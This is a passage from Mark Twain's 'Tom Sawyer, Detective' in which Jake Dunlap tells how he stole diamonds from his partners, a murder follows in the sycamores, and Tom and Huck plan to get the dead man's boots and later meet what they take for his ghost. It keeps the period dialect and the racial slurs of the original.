bought?" + +"Whiskers?" said I. + +"No." + +"Goggles?" + +"No." + +"Oh, keep still, Huck Finn, can't you, you're only +just hendering all you can. What WAS it he bought, +Jake?" + +"You'd never guess in the world. It was only just +a screwdriver -- just a wee little bit of a screwdriver." + +"Well, I declare! What did he want with that?" + +"That's what I thought. It was curious. It clean +stumped me. I says to myself, what can he want with +that thing? Well, when he come out I stood back out +of sight, and then tracked him to a second-hand slop- +shop and see him buy a red flannel shirt and some old +ragged clothes -- just the ones he's got on now, as +you've described. Then I went down to the wharf and +hid my things aboard the up-river boat that we had +picked out, and then started back and had another +streak of luck. I seen our other pal lay in HIS stock +of old rusty second-handers. We got the di'monds +and went aboard the boat. + +"But now we was up a stump, for we couldn't go +to bed. We had to set up and watch one another. +Pity, that was; pity to put that kind of a strain on us, +because there was bad blood between us from a +couple of weeks back, and we was only friends in the +way of business. Bad anyway, seeing there was only +two di'monds betwixt three men. First we had supper, +and then tramped up and down the deck together +smoking till most midnight; then we went and set +down in my stateroom and locked the doors and looked +in the piece of paper to see if the di'monds was all +right, then laid it on the lower berth right in full sight; +and there we set, and set, and by-and-by it got to be +dreadful hard to keep awake. At last Bud Dixon he +dropped off. As soon as he was snoring a good regular +gait that was likely to last, and had his chin on his +breast and looked permanent, Hal Clayton nodded +towards the di'monds and then towards the outside +door, and I understood. I reached and got the paper, +and then we stood up and waited perfectly still; Bud +never stirred; I turned the key of the outside door +very soft and slow, then turned the knob the same +way, and we went tiptoeing out onto the guard, and +shut the door very soft and gentle. + +"There warn't nobody stirring anywhere, and the +boat was slipping along, swift and steady, through the +big water in the smoky moonlight. We never said a +word, but went straight up onto the hurricane-deck and +plumb back aft, and set down on the end of the sky- +light. Both of us knowed what that meant, without +having to explain to one another. Bud Dixon would +wake up and miss the swag, and would come straight +for us, for he ain't afeard of anything or anybody, that +man ain't. He would come, and we would heave him +overboard, or get killed trying. It made me shiver, +because I ain't as brave as some people, but if I +showed the white feather -- well, I knowed better than +do that. I kind of hoped the boat would land somers, +and we could skip ashore and not have to run the risk +of this row, I was so scared of Bud Dixon, but she +was an upper-river tub and there warn't no real chance +of that. + +"Well, the time strung along and along, and that +fellow never come! Why, it strung along till dawn +begun to break, and still he never come. 'Thunder,' I +says, 'what do you make out of this? -- ain't it sus- +picious?' 'Land!' Hal says, 'do you reckon he's +playing us? -- open the paper!' I done it, and by +gracious there warn't anything in it but a couple of +little pieces of loaf-sugar! THAT'S the reason he could +set there and snooze all night so comfortable. Smart? +Well, I reckon! He had had them two papers all fixed +and ready, and he had put one of them in place of +t'other right under our noses. + +"We felt pretty cheap. But the thing to do, straight +off, was to make a plan; and we done it. We would +do up the paper again, just as it was, and slip in, very +elaborate and soft, and lay it on the bunk again, and +let on WE didn't know about any trick, and hadn't any +idea he was a-laughing at us behind them bogus snores +of his'n; and we would stick by him, and the first +night we was ashore we would get him drunk and +search him, and get the di'monds; and DO for him, +too, if it warn't too risky. If we got the swag, we'd +GOT to do for him, or he would hunt us down and do for +us, sure. But I didn't have no real hope. I knowed +we could get him drunk -- he was always ready for +that -- but what's the good of it? You might search +him a year and never find -- + +"Well, right there I catched my breath and broke +off my thought! For an idea went ripping through my +head that tore my brains to rags -- and land, but I felt +gay and good! You see, I had had my boots off, to +unswell my feet, and just then I took up one of them +to put it on, and I catched a glimpse of the heel- +bottom, and it just took my breath away. You re- +member about that puzzlesome little screwdriver?" + +"You bet I do," says Tom, all excited. + +"Well, when I catched that glimpse of that boot +heel, the idea that went smashing through my head +was, I know where he's hid the di'monds! You look +at this boot heel, now. See, it's bottomed with a steel +plate, and the plate is fastened on with little screws. +Now there wasn't a screw about that feller anywhere +but in his boot heels; so, if he needed a screwdriver, +I reckoned I knowed why." + +"Huck, ain't it bully!" says Tom. + +"Well, I got my boots on, and we went down and +slipped in and laid the paper of sugar on the berth, +and sat down soft and sheepish and went to listening to +Bud Dixon snore. Hal Clayton dropped off pretty +soon, but I didn't; I wasn't ever so wide awake in my +life. I was spying out from under the shade of my +hat brim, searching the floor for leather. It took me a +long time, and I begun to think maybe my guess was +wrong, but at last I struck it. It laid over by the +bulkhead, and was nearly the color of the carpet. It +was a little round plug about as thick as the end of your +little finger, and I says to myself there's a di'mond in +the nest you've come from. Before long I spied out +the plug's mate . + +"Think of the smartness and coolness of that +blatherskite! He put up that scheme on us and +reasoned out what we would do, and we went ahead +and done it perfectly exact, like a couple of pudd'n- +heads. He set there and took his own time to un- +screw his heelplates and cut out his plugs and stick in +the di'monds and screw on his plates again . He +allowed we would steal the bogus swag and wait all +night for him to come up and get drownded, and by +George it's just what we done! I think it was power- +ful smart." + +"You bet your life it was!" says Tom, just full of +admiration. + + +CHAPTER IV. +THE THREE SLEEPERS + +WELL, all day we went through the humbug of +watching one another, and it was pretty sickly +business for two of us and hard to act out, I can tell +you. About night we landed at one of them little +Missouri towns high up toward Iowa, and had supper +at the tavern, and got a room upstairs with a cot and a +double bed in it, but I dumped my bag under a deal +table in the dark hall while we was moving along it to +bed, single file, me last, and the landlord in the lead +with a tallow candle. We had up a lot of whisky, and +went to playing high-low-jack for dimes, and as soon +as the whisky begun to take hold of Bud we stopped +drinking, but we didn't let him stop. We loaded him +till he fell out of his chair and laid there snoring. + +"We was ready for business now. I said we better +pull our boots off, and his'n too, and not make any +noise, then we could pull him and haul him around and +ransack him without any trouble. So we done it. I +set my boots and Bud's side by side, where they'd be +handy. Then we stripped him and searched his seams +and his pockets and his socks and the inside of his +boots, and everything, and searched his bundle. Never +found any di'monds. We found the screwdriver, and +Hal says, 'What do you reckon he wanted with that?' +I said I didn't know; but when he wasn't looking I +hooked it. At last Hal he looked beat and discour- +aged, and said we'd got to give it up. That was what +I was waiting for. I says: + +"'There's one place we hain't searched.' + +"'What place is that?' he says. + +"'His stomach.' + +"'By gracious, I never thought of that! NOW we're +on the homestretch, to a dead moral certainty. How'll +we manage?' + +"'Well,' I says, 'just stay by him till I turn out and +hunt up a drug store, and I reckon I'll fetch something +that'll make them di'monds tired of the company +they're keeping.' + +"He said that's the ticket, and with him looking +straight at me I slid myself into Bud's boots instead of +my own, and he never noticed. They was just a shade +large for me, but that was considerable better than be- +ing too small. I got my bag as I went a-groping +through the hall, and in about a minute I was out the +back way and stretching up the river road at a five-mile +gait. + +"And not feeling so very bad, neither -- walking on +di'monds don't have no such effect. When I had gone +fifteen minutes I says to myself, there's more'n a mile +behind me, and everything quiet. Another five minutes +and I says there's considerable more land behind me +now, and there's a man back there that's begun to +wonder what's the trouble. Another five and I says to +myself he's getting real uneasy -- he's walking the floor +now. Another five, and I says to myself, there's two +mile and a half behind me, and he's AWFUL uneasy -- be- +ginning to cuss, I reckon. Pretty soon I says to my- +self, forty minutes gone -- he KNOWS there's something +up! Fifty minutes -- the truth's a-busting on him +now! he is reckoning I found the di'monds whilst we +was searching, and shoved them in my pocket and never +let on -- yes, and he's starting out to hunt for me. +He'll hunt for new tracks in the dust, and they'll as +likely send him down the river as up. + +"Just then I see a man coming down on a mule, and +before I thought I jumped into the bush. It was +stupid! When he got abreast he stopped and waited +a little for me to come out; then he rode on again. +But I didn't feel gay any more. I says to myself I've +botched my chances by that; I surely have, if he meets +up with Hal Clayton. + +"Well, about three in the morning I fetched Elex- +andria and see this stern-wheeler laying there, and was +very glad, because I felt perfectly safe, now, you know. +It was just daybreak. I went aboard and got this state- +room and put on these clothes and went up in the pilot- +house -- to watch, though I didn't reckon there was +any need of it. I set there and played with my +di'monds and waited and waited for the boat to start, +but she didn't. You see, they was mending her +machinery, but I didn't know anything about it, not +being very much used to steamboats. + +"Well, to cut the tale short, we never left there till +plumb noon; and long before that I was hid in this +stateroom; for before breakfast I see a man coming, +away off, that had a gait like Hal Clayton's, and it +made me just sick. I says to myself, if he finds out +I'm aboard this boat, he's got me like a rat in a trap. +All he's got to do is to have me watched, and wait -- +wait till I slip ashore, thinking he is a thousand miles +away, then slip after me and dog me to a good place +and make me give up the di'monds, and then he'll -- +oh, I know what he'll do! Ain't it awful -- awful! +And now to think the OTHER one's aboard, too! Oh, +ain't it hard luck, boys -- ain't it hard! But you'll help +save me, WON'T you? -- oh, boys, be good to a poor +devil that's being hunted to death, and save me -- I'll +worship the very ground you walk on!" + +We turned in and soothed him down and told him +we would plan for him and help him, and he needn't +be so afeard; and so by and by he got to feeling kind +of comfortable again, and unscrewed his heelplates and +held up his di'monds this way and that, admiring them +and loving them; and when the light struck into them +they WAS beautiful, sure; why, they seemed to kind of +bust, and snap fire out all around. But all the same I +judged he was a fool. If I had been him I would a +handed the di'monds to them pals and got them to go +ashore and leave me alone. But he was made differ- +ent. He said it was a whole fortune and he couldn't +bear the idea. + +Twice we stopped to fix the machinery and laid a +good while, once in the night; but it wasn't dark +enough, and he was afeard to skip. But the third +time we had to fix it there was a better chance. We +laid up at a country woodyard about forty mile above +Uncle Silas's place a little after one at night, and it was +thickening up and going to storm. So Jake he laid for +a chance to slide. We begun to take in wood. Pretty +soon the rain come a-drenching down, and the wind +blowed hard. Of course every boat-hand fixed a +gunny sack and put it on like a bonnet, the way they +do when they are toting wood, and we got one for +Jake, and he slipped down aft with his hand-bag and +come tramping forrard just like the rest, and walked +ashore with them, and when we see him pass out of the +light of the torch-basket and get swallowed up in the +dark, we got our breath again and just felt grateful and +splendid. But it wasn't for long. Somebody told, I +reckon; for in about eight or ten minutes them two +pals come tearing forrard as tight as they could jump +and darted ashore and was gone. We waited plumb +till dawn for them to come back, and kept hoping they +would, but they never did. We was awful sorry and +low-spirited. All the hope we had was that Jake had +got such a start that they couldn't get on his track, and +he would get to his brother's and hide there and be +safe. + +He was going to take the river road, and told us to +find out if Brace and Jubiter was to home and no +strangers there, and then slip out about sundown and +tell him. Said he would wait for us in a little bunch of +sycamores right back of Tom's uncle Silas's tobacker +field on the river road, a lonesome place. + +We set and talked a long time about his chances, and +Tom said he was all right if the pals struck up the +river instead of down, but it wasn't likely, because +maybe they knowed where he was from; more likely +they would go right, and dog him all day, him not +suspecting, and kill him when it come dark, and take +the boots. So we was pretty sorrowful. + + +CHAPTER V. +A TRAGEDY IN THE: WOODS + +WE didn't get done tinkering the machinery till away +late in the afternoon, and so it was so close to +sundown when we got home that we never stopped on +our road, but made a break for the sycamores as tight +as we could go, to tell Jake what the delay was, and +have him wait till we could go to Brace's and find out +how things was there. It was getting pretty dim by the +time we turned the corner of the woods, sweating and +panting with that long run, and see the sycamores thirty +yards ahead of us; and just then we see a couple of +men run into the bunch and heard two or three terrible +screams for help. "Poor Jake is killed, sure," we +says. We was scared through and through, and broke +for the tobacker field and hid there, trembling so our +clothes would hardly stay on; and just as we skipped +in there, a couple of men went tearing by, and into the +bunch they went, and in a second out jumps four men +and took out up the road as tight as they could go, +two chasing two. + +We laid down, kind of weak and sick, and listened +for more sounds, but didn't hear none for a good while +but just our hearts. We was thinking of that awful +thing laying yonder in the sycamores, and it seemed +like being that close to a ghost, and it give me the cold +shudders. The moon come a-swelling up out of the +ground, now, powerful big and round and bright, be- +hind a comb of trees, like a face looking through prison +bars, and the black shadders and white places begun to +creep around, and it was miserable quiet and still and +night-breezy and graveyardy and scary. All of a sud- +den Tom whispers: + +"Look! -- what's that?" + +"Don't!" I says. "Don't take a person by sur- +prise that way. I'm 'most ready to die, anyway, with- +out you doing that." + +"Look, I tell you. It's something coming out of +the sycamores." + +"Don't, Tom!" + +"It's terrible tall!" + +"Oh, lordy-lordy! let's --" + +"Keep still -- it's a-coming this way." + +He was so excited he could hardly get breath enough +to whisper. I had to look. I couldn't help it. So +now we was both on our knees with our chins on a +fence rail and gazing -- yes, and gasping too. It was +coming down the road -- coming in the shadder of the +trees, and you couldn't see it good; not till it was +pretty close to us; then it stepped into a bright splotch +of moonlight and we sunk right down in our tracks -- +it was Jake Dunlap's ghost! That was what we said +to ourselves. + +We couldn't stir for a minute or two; then it was +gone We talked about it in low voices. Tom +says: + +"They're mostly dim and smoky, or like they're +made out of fog, but this one wasn't." + +"No," I says; "I seen the goggles and the whiskers +perfectly plain." + +"Yes, and the very colors in them loud countrified +Sunday clothes -- plaid breeches, green and black --" + +"Cotton velvet westcot, fire-red and yaller squares --" + +"Leather straps to the bottoms of the breeches legs +and one of them hanging unbottoned --" + +"Yes, and that hat --" + +"What a hat for a ghost to wear!" + +You see it was the first season anybody wore that +kind -- a black sitff-brim stove-pipe, very high, and +not smooth, with a round top -- just like a sugar-loaf. + +"Did you notice if its hair was the same, Huck?" + +"No -- seems to me I did, then again it seems to me +I didn't." + +"I didn't either; but it had its bag along, I noticed +that." + +"So did I. How can there be a ghost-bag, Tom?" + +"Sho! I wouldn't be as ignorant as that if I was +you, Huck Finn. Whatever a ghost has, turns to ghost- +stuff. They've got to have their things, like anybody +else. You see, yourself, that its clothes was turned to +ghost-stuff. Well, then, what's to hender its bag from +turning, too? Of course it done it." + +That was reasonable. I couldn't find no fault with +it. Bill Withers and his brother Jack come along by, +talking, and Jack says: + +"What do you reckon he was toting?" + +"I dunno; but it was pretty heavy." + +"Yes, all he could lug. Nigger stealing corn from +old Parson Silas, I judged." + +"So did I. And so I allowed I wouldn't let on to +see him." + +"That's me, too." + +Then they both laughed, and went on out of hearing. +It showed how unpopular old Uncle Silas had got to be +now. They wouldn't 'a' let a nigger steal anybody +else's corn and never done anything to him. + +We heard some more voices mumbling along towards +us and getting louder, and sometimes a cackle of a +laugh. It was Lem Beebe and Jim Lane. Jim Lane +says: + +"Who? -- Jubiter Dunlap?" + +"Yes." + +"Oh, I don't know. I reckon so. I seen him spad- +ing up some ground along about an hour ago, just be- +fore sundown -- him and the parson. Said he guessed +he wouldn't go to-night, but we could have his dog if +we wanted him." + +"Too tired, I reckon." + +"Yes -- works so hard!" + +"Oh, you bet!" + +They cackled at that, and went on by. Tom said we +better jump out and tag along after them, because they +was going our way and it wouldn't be comfortable to +run across the ghost all by ourselves. So we done it, +and got home all right. + +That night was the second of September -- a Satur- +day. I sha'n't ever forget it. You'll see why, pretty +soon . + + +CHAPTER VI. +PLANS TO SECURE THE DIAMONDS + +WE tramped along behind Jim and Lem till we come +to the back stile where old Jim's cabin was that +he was captivated in, the time we set him free, and here +come the dogs piling around us to say howdy, and +there was the lights of the house, too; so we warn't +afeard any more, and was going to climb over, but +Tom says: + +"Hold on; set down here a minute. By George!" + +"What's the matter?" says I. + +"Matter enough!" he says. "Wasn't you expect- +ing we would be the first to tell the family who it is +that's been killed yonder in the sycamores, and all +about them rapscallions that done it, and about the +di'monds they've smouched off of the corpse, and paint +it up fine, and have the glory of being the ones that +knows a lot more about it than anybody else?" + +"Why, of course. It wouldn't be you, Tom Sawyer, +if you was to let such a chance go by. I reckon it +ain't going to suffer none for lack of paint," I says, +"when you start in to scollop the facts." + +"Well, now," he says, perfectly ca'm, "what would +you say if I was to tell you I ain't going to start in at +all?" + +I was astonished to hear him talk so. I says: + +"I'd say it's a lie. You ain't in earnest, Tom +Sawyer?" + +"You'll soon see. Was the ghost barefooted?" + +"No, it wasn't. What of it?" + +"You wait -- I'll show you what. Did it have its +boots on?" + +"Yes. I seen them plain." + +"Swear it?" + +"Yes, I swear it." + +"So do I. Now do you know what that means?" + +"No. What does it mean?" + +"Means that them thieves DIDN'T GET THE DI'MONDS." + +"Jimminy! What makes you think that?" + +"I don't only think it, I know it. Didn't the +breeches and goggles and whiskers and hand-bag and +every blessed thing turn to ghost-stuff? Everything it +had on turned, didn't it? It shows that the reason its +boots turned too was because it still had them on after +it started to go ha'nting around, and if that ain't proof +that them blatherskites didn't get the boots, I'd like to +know what you'd CALL proof." + +Think of that now. I never see such a head as that +boy had. Why, I had eyes and I could see things, but +they never meant nothing to me. But Tom Sawyer +was different. When Tom Sawyer seen a thing it just +got up on its hind legs and TALKED to him -- told him +everything it knowed. I never see such a head. + +"Tom Sawyer," I says, "I'll say it again as I've +said it a many a time before: I ain't fitten to black +your boots. But that's all right -- that's neither here +nor there. God Almighty made us all, and some He +gives eyes that's blind, and some He gives eyes that +can see, and I reckon it ain't none of our lookout what +He done it for; it's all right, or He'd 'a' fixed it some +other way. Go on -- I see plenty plain enough, now, +that them thieves didn't get way with the di'monds. +Why didn't they, do you reckon?" + +"Because they got chased away by them other two +men before they could pull the boots off of the corpse." + +"That's so! I see it now. But looky here, Tom, +why ain't we to go and tell about it?" + +"Oh, shucks, Huck Finn, can't you see? Look at +it. What's a-going to happen? There's going to be +an inquest in the morning. Them two men will tell +how they heard the yells and rushed there just in time +to not save the stranger. Then the jury'll twaddle +and twaddle and twaddle, and finally they'll fetch in a +verdict that he got shot or stuck or busted over the +head with something, and come to his death by the in- +spiration of God. And after they've buried him they'll +auction off his things for to pay the expenses, and +then's OUR chance." +"How, Tom?" + +"Buy the boots for two dollars!" + +Well, it 'most took my breath. + +"My land! Why, Tom, WE'LL get the di'monds!" + +"You bet. Some day there'll be a big reward +offered for them -- a thousand dollars, sure. That's +our money! Now we'll trot in and see the folks. +And mind you we don't know anything about any +murder, or any di'monds, or any thieves -- don't you +forget that." + +I had to sigh a little over the way he had got it fixed. +I'd 'a' SOLD them di'monds -- yes, sir -- for twelve +thousand dollars; but I didn't say anything. It +wouldn't done any good. I says: + +"But what are we going to tell your aunt Sally has +made us so long getting down here from the village, +Tom?" + +"Oh, I'll leave that to you," he says. "I reckon +you can explain it somehow." + +He was always just that strict and delicate. He +never would tell a lie himself. + +We struck across the big yard, noticing this, that, +and t'other thing that was so familiar, and we so glad +to see it again, and when we got to the roofed big +passageway betwixt the double log house and the +kitchen part, there was everything hanging on the wall +just as it used to was, even to Uncle Silas's old faded +green baize working-gown with the hood to it, and rag- +gedy white patch between the shoulders that always +looked like somebody had hit him with a snowball; and +then we lifted the latch and walked in. Aunt Sally she +was just a-ripping and a-tearing around, and the +children was huddled in one corner, and the old man +he was huddled in the other and praying for help in +time of need. She jumped for us with joy and tears +running down her face and give us a whacking box on +the ear, and then hugged us and kissed us and boxed +us again, and just couldn't seem to get enough of it, +she was so glad to see us; and she says: + +"Where HAVE you been a-loafing to, you good-for- +nothing trash! I've been that worried about you I +didn't know what to do. Your traps has been here +ever so long, and I've had supper cooked fresh about +four times so as to have it hot and good when you +come, till at last my patience is just plumb wore out, +and I declare I -- I -- why I could skin you alive! You +must be starving, poor things! -- set down, set down, +everybody; don't lose no more time." + +It was good to be there again behind all that noble +corn-pone and spareribs, and everything that you could +ever want in this world. Old Uncle Silas he peeled off +one of his bulliest old-time blessings, with as many +layers to it as an onion, and whilst the angels was haul- +ing in the slack of it I was trying to study up what to +say about what kept us so long. When our plates was +all loadened and we'd got a-going, she asked me, and +I says: + +"Well, you see, -- er -- Mizzes --" + +"Huck Finn! Since when am I Mizzes to you? +Have I ever been stingy of cuffs or kisses for you since +the day you stood in this room and I took you for Tom +Sawyer and blessed God for sending you to me, though +you told me four thousand lies and I believed every +one of them like a simpleton? Call me Aunt Sally -- +like you always done." + +So I done it. And I says: + +"Well, me and Tom allowed we would come along +afoot and take a smell of the woods, and we run across +Lem Beebe and Jim Lane, and they asked us to go with +them blackberrying to-night, and said they could bor- +row Jubiter Dunlap's dog, because he had told them +just that minute --" + +"Where did they see him?" says the old man; and +when I looked up to see how HE come to take an intrust +in a little thing like that, his eyes was just burning into +me, he was that eager. It surprised me so it kind of +throwed me off, but I pulled myself together again and +says: + +"It was when he was spading up some ground along +with you, towards sundown or along there." + +He only said, "Um," in a kind of a disappointed +way, and didn't take no more intrust. So I went on. +I says: + +"Well, then, as I was a-saying --" + +"That'll do, you needn't go no furder." It was +Aunt Sally. She was boring right into me with her +eyes, and very indignant. "Huck Finn," she says, +"how'd them men come to talk about going a-black- +berrying in September -- in THIS region?" + +I see I had slipped up, and I couldn't say a word. +She waited, still a-gazing at me, then she says: + +"And how'd they come to strike that idiot idea of +going a-blackberrying in the night?" + +"Well, m'm, they -- er -- they told us they had a +lantern, and --" + +"Oh, SHET up -- do! Looky here; what was they +going to do with a dog? -- hunt blackberries with it?" + +"I think, m'm, they --" + +"Now, Tom Sawyer, what kind of a lie are you fix- +ing YOUR mouth to contribit to this mess of rubbage? +Speak out -- and I warn you before you begin, that +I don't believe a word of it. You and Huck's been up +to something you no business to -- I know it perfectly +well; I know you, BOTH of you. Now you explain that +dog, and them blackberries, and the lantern, and the +rest of that rot -- and mind you talk as straight as a +string -- do you hear?" + +Tom he looked considerable hurt, and says, very +dignified: + +"It is a pity if Huck is to be talked to that way, just +for making a little bit of a mistake that anybody could +make." + +"What mistake has he made?" + +"Why, only the mistake of saying blackberries when +of course he meant strawberries." + +"Tom Sawyer, I lay if you aggravate me a little +more, I'll --" + +"Aunt Sally, without knowing it -- and of course +without intending it -- you are in the wrong. If you'd +'a' studied natural history the way you ought, you +would know that all over the world except just here in +Arkansaw they ALWAYS hunt strawberries with a dog -- +and a lantern --" + +But she busted in on him there and just piled into +him and snowed him under. She was so mad she +couldn't get the words out fast enough, and she gushed +them out in one everlasting freshet. That was what +Tom Sawyer was after. He allowed to work her up +and get her started and then leave her alone and let her +burn herself out. Then she would be so aggravated +with that subject that she wouldn't say another word +about it, nor let anybody else. Well, it happened just +so. When she was tuckered out and had to hold up, +he says, quite ca'm: + +"And yet, all the same, Aunt Sally --" + +"Shet up!" she says, "I don't want to hear +another word out of you." + +So we was perfectly safe, then, and didn't have no +more trouble about that delay. Tom done it elegant. + + +CHAPTER VII. +A NIGHT'S VIGIL + +BENNY she was looking pretty sober, and she sighed +some, now and then; but pretty soon she got to +asking about Mary, and Sid, and Tom's aunt Polly, +and then Aunt Sally's clouds cleared off and she got in +a good humor and joined in on the questions and was +her lovingest best self, and so the rest of the supper +went along gay and pleasant. But the old man he +didn't take any hand hardly, and was absent-minded +and restless, and done a considerable amount of sigh- +ing; and it was kind of heart-breaking to see him so +sad and troubled and worried. + +By and by, a spell after supper, come a nigger and +knocked on the door and put his head in with his old +straw hat in his hand bowing and scraping, and said his +Marse Brace was out at the stile and wanted his +brother, and was getting tired waiting supper for him, +and would Marse Silas please tell him where he was? +I never see Uncle Silas speak up so sharp and fractious +before. He says: + +"Am I his brother's keeper?" And then he kind +of wilted together, and looked like he wished he hadn't +spoken so, and then he says, very gentle: "But you +needn't say that, Billy; I was took sudden and irritable, +and I ain't very well these days, and not hardly respon- +sible. Tell him he ain't here." + +And when the nigger was gone he got up and +walked the floor, backwards and forwards, mumbling +and muttering to himself and plowing his hands through +his hair. It was real pitiful to see him. Aunt Sally she +whispered to us and told us not to take notice of him, +it embarrassed him. She said he was always thinking +and thinking, since these troubles come on, and she +allowed he didn't more'n about half know what he was +about when the thinking spells was on him; and she +said he walked in his sleep considerable more now than +he used to, and sometimes wandered around over the +house and even outdoors in his sleep, and if we catched +him at it we must let him alone and not disturb him. +She said she reckoned it didn't do him no harm, and +may be it done him good. She said Benny was the +only one that was much help to him these days. Said +Benny appeared to know just when to try to soothe +him and when to leave him alone. + +So he kept on tramping up and down the floor and +muttering, till by and by he begun to look pretty tired; +then Benny she went and snuggled up to his side and +put one hand in his and one arm around his waist and +walked with him; and he smiled down on her, and +reached down and kissed her; and so, little by little +the trouble went out of his face and she persuaded him +off to his room. They had very petting ways together, +and it was uncommon pretty to see. + +Aunt Sally she was busy getting the children ready +for bed; so by and by it got dull and tedious, and me +and Tom took a turn in the moonlight, and fetched up +in the watermelon-patch and et one, and had a good +deal of talk. And Tom said he'd bet the quarreling +was all Jubiter's fault, and he was going to be on hand +the first time he got a chance, and see; and if it was +so, he was going to do his level best to get Uncle Silas +to turn him off. + +And so we talked and smoked and stuffed water- +melons much as two hours, and then it was pretty late, +and when we got back the house was quiet and dark, +and everybody gone to bed. + +Tom he always seen everything, and now he see that +the old green baize work-gown was gone, and said it +wasn't gone when he went out; so he allowed it was +curious, and then we went up to bed. + +We could hear Benny stirring around in her room, +which was next to ourn, and judged she was worried a +good deal about her father and couldn't sleep. We +found we couldn't, neither. So we set up a long time, +and smoked and talked in a low voice, and felt pretty +dull and down-hearted. We talked the murder and the +ghost over and over again, and got so creepy and +crawly we couldn't get sleepy nohow and noway. + +By and by, when it was away late in the night and all +the sounds was late sounds and solemn, Tom nudged +me and whispers to me to look, and I done it, and there +we see a man poking around in the yard like he didn't +know just what he wanted to do, but it was pretty dim +and we couldn't see him good. Then he started for +the stile, and as he went over it the moon came out +strong, and he had a long-handled shovel over his +shoulder, and we see the white patch on the old work- +gown. So Tom says: + +"He's a-walking in his sleep. I wish we was +allowed to follow him and see where he's going to. +There, he's turned down by the tobacker-field. Out +of sight now. It's a dreadful pity he can't rest no +better." + +We waited a long time, but he didn't come back any +more, or if he did he come around the other way; so +at last we was tuckered out and went to sleep and had +nightmares, a million of them. But before dawn we +was awake again, because meantime a storm had come +up and been raging, and the thunder and lightning +was awful, and the wind was a-thrashing the trees +around, and the rain was driving down in slanting +sheets, and the gullies was running rivers. Tom says: + +"Looky here, Huck, I'll tell you one thing that's +mighty curious. Up to the time we went out last night +the family hadn't heard about Jake Dunlap being mur- +dered. Now the men that chased Hal Clayton and +Bud Dixon away would spread the thing around in a +half an hour, and every neighbor that heard it would +shin out and fly around from one farm to t'other and +try to be the first to tell the news. Land, they don't +have such a big thing as that to tell twice in thirty year! +Huck, it's mighty strange; I don't understand it." + +So then he was in a fidget for the rain to let up, so +we could turn out and run across some of the people +and see if they would say anything about it to us. +And he said if they did we must be horribly surprised +and shocked. + +We was out and gone the minute the rain stopped. +It was just broad day then. We loafed along up the +road, and now and then met a person and stopped and +said howdy, and told them when we come, and how we +left the folks at home, and how long we was going to +stay, and all that, but none of them said a word about +that thing; which was just astonishing, and no mistake. +Tom said he believed if we went to the sycamores we +would find that body laying there solitary and alone, +and not a soul around. Said he believed the men +chased the thieves so far into the woods that the thieves +prob'ly seen a good chance and turned on them at last, +and maybe they all killed each other, and so there +wasn't anybody left to tell. + +First we knowed, gabbling along that away, we was +right at the sycamores. The cold chills trickled down +my back and I wouldn't budge another step, for all +Tom's persuading. But he couldn't hold in; he'd GOT +to see if the boots was safe on that body yet. So he +crope in -- and the next minute out he come again with +his eyes bulging he was so excited, and says: + +"Huck, it's gone!" + +I WAS astonished! I says: + +"Tom, you don't mean it." + +"It's gone, sure. There ain't a sign of it. The +ground is trampled some, but if there was any blood +it's all washed away by the storm, for it's all puddles +and slush in there." + +At last I give in, and went and took a look myself; +and it was just as Tom said -- there wasn't a sign of a +corpse. + +"Dern it," I says, "the di'monds is gone. Don't +you reckon the thieves slunk back and lugged him off, +Tom?" + +"Looks like it. It just does. Now where'd they +hide him, do you reckon?" + +"I don't know," I says, disgusted, "and what's +more I don't care. They've got the boots, and that's +all I cared about. He'll lay around these woods a +long time before I hunt him up." + +Tom didn't feel no more intrust in him neither, only +curiosity to know what come of him; but he said we'd +lay low and keep dark and it wouldn't be long till the +dogs or somebody rousted him out. + +We went back home to breakfast ever so bothered +and put out and disappointed and swindled. I warn't +ever so down on a corpse before. + + +CHAPTER VIII. +TALKING WITH THE GHOST + +IT warn't very cheerful at breakfast. Aunt Sally she +looked old and tired and let the children snarl and +fuss at one another and didn't seem to notice it was +going on, which wasn't her usual style; me and Tom +had a plenty to think about without talking; Benny she +looked like she hadn't had much sleep, and whenever +she'd lift her head a little and steal a look towards her +father you could see there was tears in her eyes; and +as for the old man, his things stayed on his plate and +got cold without him knowing they was there, I reckon, +for he was thinking and thinking all the time, and never +said a word and never et a bite. + +By and by when it was stillest, that nigger's head +was poked in at the door again, and he said his Marse +Brace was getting powerful uneasy about Marse Jubiter, +which hadn't come home yet, and would Marse Silas +please -- + +He was looking at Uncle Silas, and he stopped there, +like the rest of his words was froze; for Uncle Silas he +rose up shaky and steadied himself leaning his fingers +on the table, and he was panting, and his eyes was set +on the nigger, and he kept swallowing, and put his +other hand up to his throat a couple of times, and at +last he got his words started, and says: + +"Does he -- does he -- think -- WHAT does he think! +Tell him -- tell him --" Then he sunk down in his +chair limp and weak, and says, so as you could hardly +hear him: "Go away -- go away!" + +The nigger looked scared and cleared out, and we +all felt -- well, I don't know how we felt, but it was +awful, with the old man panting there, and his eyes set +and looking like a person that was dying. None of us +could budge; but Benny she slid around soft, with her +tears running down, and stood by his side, and nestled +his old gray head up against her and begun to stroke it +and pet it with her hands, and nodded to us to go +away, and we done it, going out very quiet, like the +dead was there. + +Me and Tom struck out for the woods mighty +solemn, and saying how different it was now to what it +was last summer when we was here and everything was +so peaceful and happy and everybody thought so much +of Uncle Silas, and he was so cheerful and simple- +hearted and pudd'n-headed and good -- and now look +at him. If he hadn't lost his mind he wasn't muck +short of it. That was what we allowed. + +It was a most lovely day now, and bright and sun. +shiny; and the further and further we went over the +hills towards the prairie the lovelier and lovelier the +trees and flowers got to be and the more it seemed +strange and somehow wrong that there had to be +trouble in such a world as this. And then all of a +sudden I catched my breath and grabbed Tom's arm, and +all my livers and lungs and things fell down into my legs. + +"There it is!" I says. We jumped back behind a +bush shivering, and Tom says: + +"'Sh! -- don't make a noise." + +It was setting on a log right in the edge of a little +prairie, thinking. I tried to get Tom to come away, +but he wouldn't, and I dasn't budge by myself. He +said we mightn't ever get another chance to see one, +and he was going to look his fill at this one if he died +for it. So I looked too, though it give me the fan- +tods to do it. Tom he HAD to talk, but he talked low. +He says: + +"Poor Jakey, it's got all its things on, just as he +said he would. NOW you see what we wasn't certain +about -- its hair. It's not long now the way it was: +it's got it cropped close to its head, the way he said he +would. Huck, I never see anything look any more +naturaler than what It does." + +"Nor I neither," I says; "I'd recognize it any- +wheres." + +"So would I. It looks perfectly solid and genu- +wyne, just the way it done before it died." + +So we kept a-gazing. Pretty soon Tom says: + +"Huck, there's something mighty curious about this +one, don't you know? IT oughtn't to be going around +in the daytime." + +"That's so, Tom -- I never heard the like of it +before." + +"No, sir, they don't ever come out only at night -- +and then not till after twelve. There's something +wrong about this one, now you mark my words. I +don't believe it's got any right to 